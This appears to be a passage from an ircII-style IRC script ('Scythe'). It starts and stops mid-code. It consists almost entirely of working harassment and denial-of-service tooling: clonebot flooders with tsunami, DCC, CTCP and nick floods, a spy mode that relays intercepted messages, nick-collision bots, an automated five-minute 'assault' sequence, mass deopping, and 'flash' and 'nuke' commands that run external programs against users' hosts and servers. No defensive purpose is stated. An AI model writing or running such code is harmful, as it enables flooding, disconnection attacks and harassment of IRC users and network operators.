SLEVS PRIVATE ${SLEVS}} if (index(P $CLONESPY[$0]) != -1) {^assign SLEVS PUBLIC ${SLEVS}} if (index(C $CLONESPY[$0]) != -1) {^assign SLEVS CTCP ${SLEVS}} ^assign FUNCTION_RETURN $SLEVS ^assign -SLEVS } } alias cshelp { sxecho +-----------+ Scythe DCC RAW Clonebot Spy Controller +-----------+ sxecho Usage: /clonespy , or sxecho /clonespy to see status. sxecho Levels: ALL(sets all levels) PUblic PRivate NOtice MOde Kick sxecho Join/leave/signoff NIck MIsc Ctcp NONE \(removes all levels\) sxecho Only the letters shown capitalized are necessary. adds a sxecho level, - removes. sxecho The Misc level is for anything significant that isn't covered by sxecho the other levels. Right now this is only used for who lists. sxecho /clone who #channel' will get you a who list if you sxecho have Misc set. sxecho Be careful when flooding with spy modes set, or the clones may sxecho report the flood right back to you. sxecho +------------------------------------------------------------------+ } alias clonespy { if ([$0]) { if ([$0] == [ALL]) {/foreach CLONES VV {/clonespy $VV $1-}} { if ([$CLONES[$0]] == [ONLINE]) { if ([$1] == [ALL]) { ^assign CLONESPY[$0] PRNOKJIMC EVAL ^on ^dcc_raw "$CLONESOCKET[$0] $CLONESERV[$0] D *" {/clonespyparse $0-} } { if ([$1] == [NONE]) { ^assign CLONESPY[$0] _ EVAL ^on dcc_raw - "$CLONESOCKET[$0] $CLONESERV[$0] D *" } { ^clonespyset $0 $1 EVAL ^on ^dcc_raw "$CLONESOCKET[$0] $CLONESERV[$0] D *" {/clonespyparse $0-} } } /cecho Clone #$0 spy levels now: $cspylevs($0) } {/cecho Error: Clone #$0, no such clone.} } } {/cshelp} if ([$2]) {/clonespy $0 $2-} } alias clonespyparse.messageparse { if ([$4] == [PRIVMSG]) { if (rmatch($6- **)) { if (index(C $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] CTCP "$strip(: $6-)" from $nickonly($strip(: $3)) to $5} } { if (rmatch($5 #*)) { if (index(P $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] <$nickonly($strip(: $3)):$5> $strip(: $6-)} } { if (index(R $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] *$nickonly($strip(: $3))* $strip(: $6-)} } } } if ([$4] == [NOTICE]) { if (rmatch($6- **)) { if (index(C $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] CTCP "$strip(: $6-)" reply from $nickonly($strip(: $3))} } { if (rmatch($5 #*)) { if (index(P $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] -$nickonly($strip(: $3)):$5\- $strip(: $6-)} } { if (index(N $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] -$nickonly($strip(: $3))- $strip(: $6-)} } } } } alias clonespyparse { if ([$CLONES[$CLONENUM[$0]]] == [ONLINE]) { EVAL @ CN = $CLONENUM[$0] if (rmatch($3 *PING*)) {//^dcc raw $0 $1 PONG :$CLONESERV[$CN]} ^clonespyparse.messageparse $0- if ((index(I $CLONESPY[$CN]) != -1)&&([$4] == [NICK])) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $nickonly($strip(: $3)) is now known as $strip(: $5)} if (([$4] == [JOIN])&&(index(J $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $strip(: $3) has joined channel $strip(: $5)} if (([$4] == [MODE])&&(index(O $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] Mode change "$strip(: $6-)" on channel $5 by $nickonly($strip(: $3))} if (([$4] == [QUIT])&&(index(J $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] Signoff: $nickonly($strip(: $3)) \($strip(: $5-)\)} if (([$4] == [PART])&&(index(J $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $nickonly($strip(: $3)) has left channel $strip(: $5)} if (([$4] == [KICK])&&(index(K $CLONESPY[$CN]) != -1)) { if ([$6] == [$CLONENICKS[$CN]]) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $6 has been kicked off channel $5 by $nickonly($strip(: $3)) \($strip(: $7-)\)} {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $6 has been kicked off channel $5 by $nickonly($strip(: $3)) \($strip(: $7-)\)} } if (([$4] == [352])&&(index(M $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $6 $10 $11 $7@$8 \($strip( $13-)\)} ^assign -CN } } alias killclone { if ([$CLONES[$0]] == [ONLINE]) { //^dcc close raw $CLONESOCKET[$0] cecho Clonebot #$0 \($CLONENICKS[$0]\) disconnected. EVAL ^on dcc_raw - "$CLONESOCKET[$0] $CLONESERV[$0] D *" EVAL ^assign -CLONENUM[$CLONESOCKET[$0]] ^assign -CLONESOCKET[$0] ^assign -CLONESERV[$0] ^assign -CLONES[$0] ^assign -CLONENICKS[$0] ^assign -CLONESPY[$0] } {/cecho Error: Clone #$0, no such clone.} } alias clonesend { if ([$CLONES[$0]] == [ONLINE]) {//^dcc raw $CLONESOCKET[$0] $CLONESERV[$0] $1-} {/cecho Error: Clone #$0, no such clone.} } alias clonenick { if ([$CLONES[$0]] == [ONLINE]) { //^dcc raw $CLONESOCKET[$0] $CLONESERV[$0] NICK $1 ^assign CLONENICKS[$0] $1 } {/cecho Error: Clone #$0, no such clone.} } alias incserv { @ SERVCOUNT = SERVCOUNT + 1 if (!rmatch($CSERV[$SERVCOUNT] *.*)) {/EVAL @ SERVCOUNT = 1} } alias newclone { ^set display off if ([$0] == [RANDOM]) { /EVAL ^assign CSRV $CSERV[$SERVCOUNT] ^incserv } {/EVAL ^assign CSRV $0} EVAL ^assign CLONESOCKET[${NUMCLONES+1}] $connect($CSRV $CLONEPORT) ^set display on if ([$CLONESOCKET[${NUMCLONES+1}]] > 0) { @ NUMCLONES = NUMCLONES + 1 EVAL ^assign CLONESERV[$NUMCLONES] $CSRV if ([$CLONEUNAME] == [NONE]) {/EVAL ^assign CUN $randcrap(8)} {/EVAL ^assign CUN $CLONEUNAME} if ([$2]) {//^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV USER $CUN $HOSTROOT $CSRV :$2-} {//^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV USER $CUN $HOSTROOT $CSRV :$randcrap($rand(8)) $randcrap($rand(8))} if ([$1]) { if ([$1] == [RANDOM]) { EVAL ^assign JUNK2 $rand(3) if ([$JUNK2] == 0) {/EVAL ^assign CNICK $randcrap(9)} if ([$JUNK2] == 1) {/EVAL ^assign CNICK $randcrap(7)} if ([$JUNK2] == 2) {/EVAL ^assign CNICK $randcrap(5)} if ([$JUNK2] == 3) {/EVAL ^assign CNICK $randcrap(4)} ^assign -JUNK2 } {/EVAL ^assign CNICK $randcrap(1)$NUMCLONES$1} } {/EVAL ^assign CNICK $randcrap(9)} //^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV NICK $CNICK //^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV MODE $CNICK +i ^assign CLONENICKS[$NUMCLONES] $CNICK ^assign CLONES[$NUMCLONES] ONLINE ^assign CLONESPY[$NUMCLONES] _ EVAL @ CLONENUM[$CLONESOCKET[$NUMCLONES]] = $NUMCLONES EVAL cecho Clone #$NUMCLONES on $CSRV\ \($CNICK\) created. ^assign -CNICK ^assign -CUN } { cecho Clonebot connection to ${CSRV} failed. ^assign -CLONESOCKET[${NUMCLONES+1}] } ^assign -CSRV } alias clonewhois { ^assign FOUNDIT NO foreach CLONES XX { if ([$0] == [$CLONENICKS[$XX]]) { ^assign FOUNDIT YES cecho $0 is clonebot #$XX\, socket $CLONESOCKET[$XX]\ on server $CLONESERV[$XX]\ } } if ([$FOUNDIT] != [YES]) {/cecho Error: $0, no such clone.} ^assign -FOUNDIT } alias clonedoaction { if ([$1] == [JOIN]) { if ([$2]) { if (ischannel($2)) {/clonesend $0 JOIN $2-} {/clonesend $0 JOIN #$2-} } {/clonesend $0 JOIN $C} } if ([$1] == [LEAVE]) { if ([$2]) { if (ischannel($2)) {/clonesend $0 PART $2-} {/clonesend $0 PART #$2-} } {/clonesend $0 PART $C} } if ([$1] == [MODE]) {/clonesend $0 MODE $2 $3-} if ([$1] == [KICK]) {/clonesend $0 KICK $2 $3 :$4-} if ([$1] == [MSG]) {/clonesend $0 PRIVMSG $2 :$3-} if ([$1] == [SAY]) {/clonesend $0 PRIVMSG $C :$2-} if ([$1] == [WHO]) { if ([$2]) { if (ischannel($2)) {/clonesend $0 WHO $2-} {/clonesend $0 WHO #$2-} } {/clonesend $0 WHO $C} } if ([$1] == [CTCP]) {/clonesend $0 PRIVMSG $2 :$3-} if ([$1] == [ME]) {/clonesend $0 PRIVMSG $2 :ACTION $3-} if ([$1] == [NICK]) {/clonenick $0 $2} if ([$1] == [INVITE]) {/clonesend $0 INVITE $2 $3} if ([$1] == [NICKPREFIX]) {/clonenick $0 $2$0} if ([$1] == [TSUNAMI]) {/repeatcmd 4 clonesend $0 NOTICE $2 :$TSU} if ([$1] == [DCCTSUNAMI]) { clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) } if ([$1] == [PONGFLOOD]) {/repeatcmd 4 EVAL /clonesend $0 PONG $TSU :$2} if ([$1] == [DCCFLOOD]) { clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) } if ([$1] == [CTCPFLOOD]) {/repeatcmd 15 clonesend $0 PRIVMSG $2 :CLIENTINFOCLIENTINFO} if ([$1] == [PINGFLOOD]) {/repeatcmd 5 clonesend $0 PRIVMSG $2 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING} if ([$1] == [VERSIONFLOOD]) {/repeatcmd 5 clonesend $0 PRIVMSG $2 :VERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSION} if ([$1] == [NICKFLOOD]) { EVAL ^assign TRASH1 $randcrap(2) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonenick $0 $TRASH1$rand(9999999) ^assign -TRASH1 } if ([$1] == [BOTKILL]) {/repeatcmd 20 clonesend $0 PRIVMSG $2 :help} if ([$1] == [FINGERFLOOD]) {/repeatcmd 4 clonesend $0 PRIVMSG $2 :FINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGER} if ([$1] == [RAWIRC]) {/clonesend $0 $2-} if ([$1] == [FLOOD]) {/repeatcmd 12 clonesend $0 PRIVMSG $2 :$3-} if ([$1] == [RANDNICK]) {/clonenick $0 $randcrap(9)} if ([$1] == [SEDFLOOD]) {/repeatcmd 5 clonesend $0 PRIVMSG $2 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED} if ([$1] == [JUNKFLOOD]) { EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR } if ([$1] == [IDCCFLOOD]) {/repeatcmd 17 clonesend $0 PRIVMSG $2 :iDCC HELP} if ([$1] == [GDCCFLOOD]) {/repeatcmd 17 clonesend $0 PRIVMSG $2 :GDCC SEND #1} if ([$1] == [XDCCFLOOD]) {/repeatcmd 17 clonesend $0 PRIVMSG $2 :XDCC HELP} } alias clone { if ([$0]) { if ([$0] == [ALL]) { if ([$1] != [NICK]) { foreach CLONES XY {/clonedoaction $XY $1-} } {/cecho Error: All the bots can't change their nick to the same thing, use nickprefix.} } { if ([$0] != [HELP]) {/clonedoaction $0 $1-} {/clone} } } {/cchelp} } alias cchelp { sxecho +------------------+ Scythe Clonebot Controller +----------------+ sxecho Usage: /clone , where command is: sxecho join [] - Join a channel \(or current\) sxecho leave [] - Leave a channel \(or current\) sxecho mode - Do a mode change sxecho msg - Private message sxecho say - Message to current channel sxecho me - Do an action in sxecho nick - Change nickname sxecho nickprefix - Change nick using prefix system sxecho randnick - Change to a random nickname sxecho tsunami - Big, annoying flood sxecho dccflood - Tons of DCC CHAT requests sxecho ctcpflood - CTCP CLIENTINFO flood sxecho pingflood - CTCP PING flood sxecho versionflood - CTCP VERSION flood sxecho nickflood - Rapid trash nick changing sxecho botkill - Flood of 'help' sxecho fingerflood - CTCP FINGER flood sxecho rawirc - Send directly to server sxecho flood - Flood with /pause2 sxecho sedflood - [ENCRYPTED MESSAGE] flood sxecho idccflood/xdccflood/gdccflood - DCC request floods sxecho ctcp - Send CTCP sxecho invite - Invite to sxecho dcctsunami - DCC tsunami sxecho pongflood - PONG tsunami sxecho who [<#channel>] - WHO list, only works with spy sxecho level 'MISC' set. sxecho junkflood - Flood of ASCII trash sxecho Use /clonespy for setting spy levels. /clonespy for help. sxecho +-----------------------------------------------------------------+ } alias clonebots { if ([$0]) { if (match($0 STATUS CLONE KILL WHOIS WINDOW)) { if ([$0] == [WHOIS]) {/clonewhois $1} if ([$0] == [STATUS]) { ^assign CLONESON NO foreach CLONES XX { ^assign CLONESON YES cecho Clone #$XX - Socket:$CLONESOCKET[$XX] Server:$CLONESERV[$XX] Nick:$CLONENICKS[$XX] } if ([$CLONESON] == [NO]) {/cecho There are no clonebots online.} ^assign -CLONESON } if ([$0] == [CLONE]) {/EVAL repeatcmd $1 newclone $2 $3 $4-} if ([$0] == [WINDOW]) {/clone_window} if ([$0] == [KILL]) { if ([$1] == [ALL]) { foreach CLONES XZ {/killclone $XZ} @ NUMCLONES = 0 ^assign SPYSTATE OFF cecho All clonebots have been disconnected. } {/killclone $1} } } {/clonhelp} } {/clonhelp} } alias opclones { ^assign OPPEDACLONE NO foreach CLONENICKS XX { EVAL ^assign CNIX1 $CLONENICKS[$XX] ${CNIX1} } ^on ^who "*" { if ((match($1 $CNIX1))&&(!rmatch($2 *@*))) { EVAL ^assign CNIX2 $1 ${CNIX2} ^assign OPPEDACLONE YES } } ^who $C wait if ([$OPPEDACLONE] != [NO]) {/op $CNIX2} {/cecho There are no unopped clonebots on $C\.} ^on who - "*" ^assign -CNIX1 ^assign -CNIX2 ^assign -OPPEDACLONE } ### Collision Killer Bots (by Vassago and CKeeper) alias collbots {/colbots $0-} alias collbots.killons {/colbots.killons $0-} alias collbots.make {/colbots.make $0-} alias colbots {/cbots $0-} alias colbots.killons { EVAL ^on #dcc_raw 65 - "$0 $1 D % 433 *Nickname is already*" EVAL ^on #dcc_raw 65 - "$0 $1 C*" } alias colbots.make { ^set display off EVAL ^assign CBSOCKET $connect($0 $1) ^set display on if (CBSOCKET > 0) { ^assign COLLBOTS[$CBSOCKET] $2 EVAL ^on #^dcc_raw 65 "$CBSOCKET $0 D % 433 *Nickname is already*" { EVAL ^timer 2 //^dcc close raw $0 ^colbots.killons $0 $1 sxecho Collidebot $COLLBOTS[$0]: nickname already in use, disconnected ^assign -COLLBOTS[$0] ^assign -CBSERV[$0] } EVAL ^on #^dcc_raw 65 "$CBSOCKET $0 C*" { ^colbots.killons $0 $1 sxecho Collidebot $COLLBOTS[$0] has been disconnected by server $1. ^assign -COLLBOTS[$0] ^assign -CBSERV[$0] } //^dcc raw $CBSOCKET $0 NICK $2 //^dcc raw $CBSOCKET $0 USER $randcrap(8) $HOSTROOT $0 :$CJUNKSTR sxecho Collidebot $2 created on server $0 \(Socket: $CBSOCKET\) ^assign CBSERV[$CBSOCKET] $0 ^assign -CBSOCKET } {/sxecho Error connecting Collidebot $2 to server $0.} } alias colbots.help { sxecho +-----------------+ Scythe Nick Collision Bots Help +------------------+ sxecho Usage: /CBOTS , where is: sxecho make [] - Create a single Collidebot. sxecho kill [] - Kill Collidebot or ALL. sxecho list - List Collidebots online. sxecho dupeops [] - Like dupe, but only gets ops. sxecho newnick - Change a Collidebot's nick. sxecho dupe [] - Duplicate all nicks on your sxecho channel but you on . sxecho The following two commands are used in conjunction: sxecho find - Finds lagged servers and adds sxecho them to your collide server list, sxecho which is used in DESTROY. sxecho destroy [] - Attempts to collision kill sxecho . If is specified sxecho it will use that server. If not, sxecho CBOTS will create a collision bot sxecho on every server in the collide sxecho server list. sxecho +----------------------------------------------------------------------+ sxecho If is left out with any of these, the default is 6667. If sxecho is left out with kill, it disconnects all your Collidebots. sxecho +----------------------------------------------------------------------+ } alias cbots { if (match($0 MAKE FIND DESTROY KILL DUPE DUPEOPS LIST NEWNICK)) { if ([$0] == [NEWNICK]) { if ([$2]) { ^assign CHANGEDONE N foreach COLLBOTS XX { if ([$COLLBOTS[$XX]] == [$1]) { //^dcc raw $XX $CBSERV[$XX] NICK $2 ^assign COLLBOTS[$XX] $2 ^assign CHANGEDONE Y } } if ([$CHANGEDONE] == [N]) {/sxecho $1: no Collidebots match that nick} ^assign -CHANGEDONE } {/sxecho Usage: /CBOTS newnick } } if ([$0] == [MAKE]) { if ([$2]) { if ([$3] > 0) {^assign MPORT $3} {^assign MPORT 6667} ^colbots.make $2 $MPORT $1 ^assign -MPORT } {/sxecho Usage: /CBOTS make []} } if ([$0] == [KILL]) { if ([$1]) { ^assign KILLEDONE N foreach COLLBOTS XX { if ([$COLLBOTS[$XX]] == [$1]) { //^dcc close raw $XX ^colbots.killons $XX $CBSERV[$XX] sxecho Collidebot $COLLBOTS[$XX] disconnected. ^assign -COLLBOTS[$XX] ^assign -CBSERV[$XX] ^assign KILLEDONE Y } } if ([$KILLEDONE] == [N]) {/sxecho $1: No Collidebots match that nick.} ^assign -KILLEDONE } { foreach COLLBOTS XY {^cbots kill $COLLBOTS[$XY]} sxecho All Collidebots have been disconnected. } } if ([$0] == [DUPE]) { if ([$1]) {/_dodupe} {/sxecho Usage: /CBOTS dupe [].} } if ([$0] == [DUPEOPS]) { if ([$1]) { ^on ^who "*" { if (([$1] != [$N])&&([$1] != [$GBNICK])) { ^assign KILLNIX[$rand(9999999)] $1 } } sxecho Duplicating all channel ops on $C via server $1. ^who -chops * wait ^on who - "*" foreach KILLNIX XT { ^cbots make $KILLNIX[$XT] $1- ^assign -KILLNIX[$XT] } } {/sxecho Usage: /CBOTS dupeops []} } if ([$0]==[LIST]) {/_listbots} if ([$0]==[FIND]) {/_findservs} if ([$0]==[DESTROY]) { ^assign -destroyserv ^assign destroyport 6667 if ([$3]) { ^assign destroyserv $2 ^assign destroyport $3- } if ([$2]) {^assign destroyserv $2} if ([$1]) { if ([$SERV[0]]==[]) {/_getservs} if ([$destroyserv]==[]) { sxecho Creating collide bots for $1 on $cservnum servers, please wait... _botsmake $1- } { sxecho Creating collide bot on server $2-, please wait... _botsmake2 } } {/sxecho Usage: /CBOTS DESTROY []} } } {/colbots.help} } alias _getservs { purge serv @ cservnum = 0 foreach CSERV XX { ^assign serv[$XX] $CSERV[$XX] @ cservnum = cservnum + 1 } } alias _botsmake { foreach serv XX { sxecho Connecting to server $serv[$XX]\... ^assign servp[$XX] $connect($serv[$XX] 6667) if (servp[$XX] > 0) { ^on ^dcc_raw "% % D % 433 % % :*" {^timer 5 //^dcc raw $0 $1 NICK $6} //^dcc raw $servp[$XX] $serv[$XX] NICK $1 //^dcc raw $servp[$XX] $serv[$XX] USER $tolower($randcrap(9999999)) # # :*Unknown* EVAL ^timer 60 _closeraw $servp[$XX] $serv[$XX] } } } alias _botsmake2 { sxecho Connecting to server $destroyserv\... ^assign dserv $connect($destroyserv $destroyport) ^on ^dcc_raw "% % D % 433 % % :*" {^timer 5 //^dcc raw $0 $1 NICK $6} //^dcc raw $dserv $destroyserv NICK $1 //^dcc raw $dserv $destroyserv USER $tolower($randcrap(9999999)) # # :*Unknown* EVAL ^timer 60 _closeraw $dserv $destroyserv } alias _dodupe { ^on ^who "*" { if ([$1] != [$N]) {^assign KILLNIX[$rand(9999999)] $1} } sxecho Duplicating all nicknames on $C on server $1. ^who * wait ^on who - "*" foreach KILLNIX XT { ^cbots make $KILLNIX[$XT] $1- ^assign -KILLNIX[$XT] } } alias _listbots { ^assign IHAVEBOTZ N foreach COLLBOTS XX { sxecho $COLLBOTS[$XX] on server $CBSERV[$XX] \(Socket: $XX\) ^assign IHAVEBOTZ Y } if ([$IHAVEBOTZ] == [N]) {/sxecho You have no Collidebots online.} ^assign -IHAVEBOTZ } alias _findservs { sxecho Finding lagged servers and adding them to your DESTROY list... purge serv _getservs ^on ^364 "*" if (([$3]>[9])&&(!rmatch($1 ?.*))) { sxecho Added server $1 to DESTROY list of $cservnum\ servers. ^assign serv[$cservnum] $1 @ cservnum = cservnum + 1 } //links wait -CMD ^on 364 - "*" } alias _closeraw { //^dcc raw $0 $1 QUIT :Leaving ^on dcc_raw - "% % D % 433 % % :*" sxecho Connection closed \(Raw socket $0 to $1\) } ### Clonebot Assault Program alias assault { if ([$0]) { /sxecho Beginning 5 minute clonebot assault sequence on $0. @ numtouse = [$"[S/X] Number of clonebots to use : "] if ([$numtouse]!=[]) {/sxecho Using $numtouse clonebots\.} { @ numtouse = 3 sxecho Using default number of $numtouse clonebots. } @ assaultserver = [$"[S/X] Server to use : "] if ([$assaultserver]!=[]) {/sxecho Using server $assaultserver for the assault.} {/sxecho Clonebots will be spawned on random servers. @ assaultserver = [random]} @ assaultdesc = [$"[S/X] IRCNAME for the bots : "] if ([$assaultdesc]!=[]) {/sxecho Using IRCNAME $assaultdesc for the clonebots.} @ defaultnick = [$"[S/X] Default nick prefix for the bots : "] if ([$defaultnick]!=[]) {/sxecho Using $defaultnick for the clonebots.} { ^assign defaultnick RANDOM /sxecho Using random junk nick for the clonebots. } /sxecho Assault program engaged on $0\, please wait... EVAL /clonebots clone $numtouse $assaultserver $defaultnick $assaultdesc wait if (rmatch($0 #*)) {/clone ALL join $0;wait} /sxecho Engaging flood sequence on $0. /clone all junkflood $0 ^timer 50 /clone all sedflood $0 ^timer 75 /clone all multiflood $0 ^timer 100 /clone all versionflood $0 ^timer 125 /clone all randnick ^timer 150 /clone all pingflood $0 ^timer 175 /clone all randnick ^timer 200 /clone all tsunami $0 ^timer 240 /clone all tsunami $0 ^timer 300 /clonebots kill all /sleep 1 /sxecho Assault program on $0 in progress. ALL clonebots will be /sxecho automatically disconnected in five minutes. } {/sxecho Usage: /ASSAULT <#channel/nick>.} } ### Megadeop with Nick Change alias nickmdop { EVAL ^assign OLDNICK $N ^on ^who "*" { if ([$1]!=[$N]) { if (rmatch($2 *@*)) { ^assign mdopz $1 ${mdopz} } } } ^who * /wait /listmdopnicks $mdopz ^assign -mdopz EVAL //nick $OLDNICK ^assign -OLDNICK ^on who - "*" } alias listmdopnicks { quote MODE $C -oooo $0 $1 $2 $3 quote NICK _$rand(99999999) if ([$4]) {/listmdopnicks $4-} } ### Flash & Nuke Commands alias flash { if ([$0]) { Userhost $0 -CMD if ([$3]) { if ([$4]!=[]) { ^exec $flash_pgm $strip(#;~ $3)@$4 & ^exec $flash_pgm $strip(#;~ $3)@$4 & sxecho Flashed $0 \($strip(#;~ $3)@$4\) } {/sxecho I can't find $0 on IRC.} } } {/sxecho Usage: /FLASH .} } alias mflash { if ([$0]) { Userhost $0 -CMD if ([$3]) { if ([$4]!=[]) { ^exec $mflash_pgm cs.bu.edu loser@kiss.my.ass.edu $strip(;#~ $3)@$4 sxecho Mail flashed $0 \($strip(;#~ $3)@$4\). } {/sxecho I can't find $0 on IRC.} } } {/sxecho Usage: /MFLASH .} } alias listmassflash { ^exec -name flash $flash_pgm $1 wait %flash sxecho I have flashed $0 \($1\) if ([$2]) {^listmassflash $2-} } alias massflash { ^on ^who "*" { if ([$1]!=[$N]) {^assign FLASHLOSERS $1 $strip(;#~ $3)@$4 ${FLASHLOSERS}} } ^who $C wait -CMD nextflash } alias nextflash { ^on who - "*" ^listmassflash $FLASHLOSERS ^assign -FLASHLOSERS } alias nuke { if ([$0]) { ^on ^311 "*" {^assign ndomain $3} ^on ^312 "*" {^assign nserver $1} ^on ^319 "*" # ^whois $0 wait EVAL ^exec $nuke_pgm $ndomain $nserver unreach & EVAL ^exec $nuke_pgm $nserver $ndomain unreach & /sxecho Sent nuke for $0 at $ndomain on server $nserver\. ^on 311 - "*" ^on 312 - "*" ^on 319 - "*" ^assign -ndomain ^assign -nserver } {/sxecho Usage: /NUKE . You must have root access to use.} } # Server Nuke (by Vassago) alias snuke { if ([$0]) { ^assign nserver1 $0 ^on ^364 "*" { if (rmatch($2 ?.*)) { sxecho Invalid server name $2. sxecho Enter a valid server name that matches that mask: ^assign nukeprompt $word(0 $"$2 is also: ") ^assign nserver2 $nukeprompt ^assign -nukeprompt } {^assign nserver2 $2} } //links $0 wait -CMD # if ([$nserver2] != []) { EVAL ^exec $nuke_pgm $nserver1 $nserver2 unreach & EVAL ^exec $nuke_pgm $nserver2 $nserver1 unreach & wait EVAL ^exec $nuke_pgm $nserver1 $nserver2 unreach & EVAL ^exec $nuke_pgm $nserver2 $nserver1 unreach & } {/sxecho Error: uplink to $nserver1\ not found.} sxecho Sent nuke to $nserver1\ and $nserver2\. ^on 364 - "*" ^assign -nserver1 ^assign -nserver2 } { /sxecho Usage: /SNUKE . You cannot be on the same server /sxecho as the server you are trying to nuke! This command will /sxecho double-nuke the server. You must have root access to use. } } ### Yet Another Flood Alias alias flood { if ([$0]) { if ([$1]) {^assign SR $1} {^assign SR $S} if ([$2]) {^assign PT $2} {^assign PT 6667} ^set input_prompt Flooding $0... ^set display off sxecho Creating connections... \(using server ${SR}, port $PT\) EVAL ^assign FB[0] $connect($SR $PT) EVAL ^assign FB[1] $connect($SR $PT) EVAL ^assign FB[2] $connect($SR $PT) ^set display on if ((FB[0] > 0)&&(FB[2] > 0)) { sxecho Signing on... ^dcc raw $FB[0] $SR NICK $randcrap(9) ^dcc raw $FB[1] $SR NICK $randcrap(9) ^dcc raw $FB[2] $SR NICK $randcrap(9) ^dcc raw $FB[0] $SR USER $randcrap(8) $HOSTROOT $SR :$CJUNKSTR ^dcc raw $FB[1] $SR USER $randcrap(8) $HOSTROOT $SR :$CJUNKSTR ^dcc raw $FB[2] $SR USER $randcrap(8) $HOSTROOT $SR :$CJUNKSTR sleep 2 sxecho Flooding... (connections will die when flooding is finished). sleep 3 if (ischannel($0)) { ^dcc raw $FB[0] $SR JOIN $0 ^dcc raw $FB[1] $SR JOIN $0 ^dcc raw $FB[2] $SR JOIN $0 } foreach FB XX { EVAL ^timer 3 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR EVAL ^timer 6 ^dcc raw 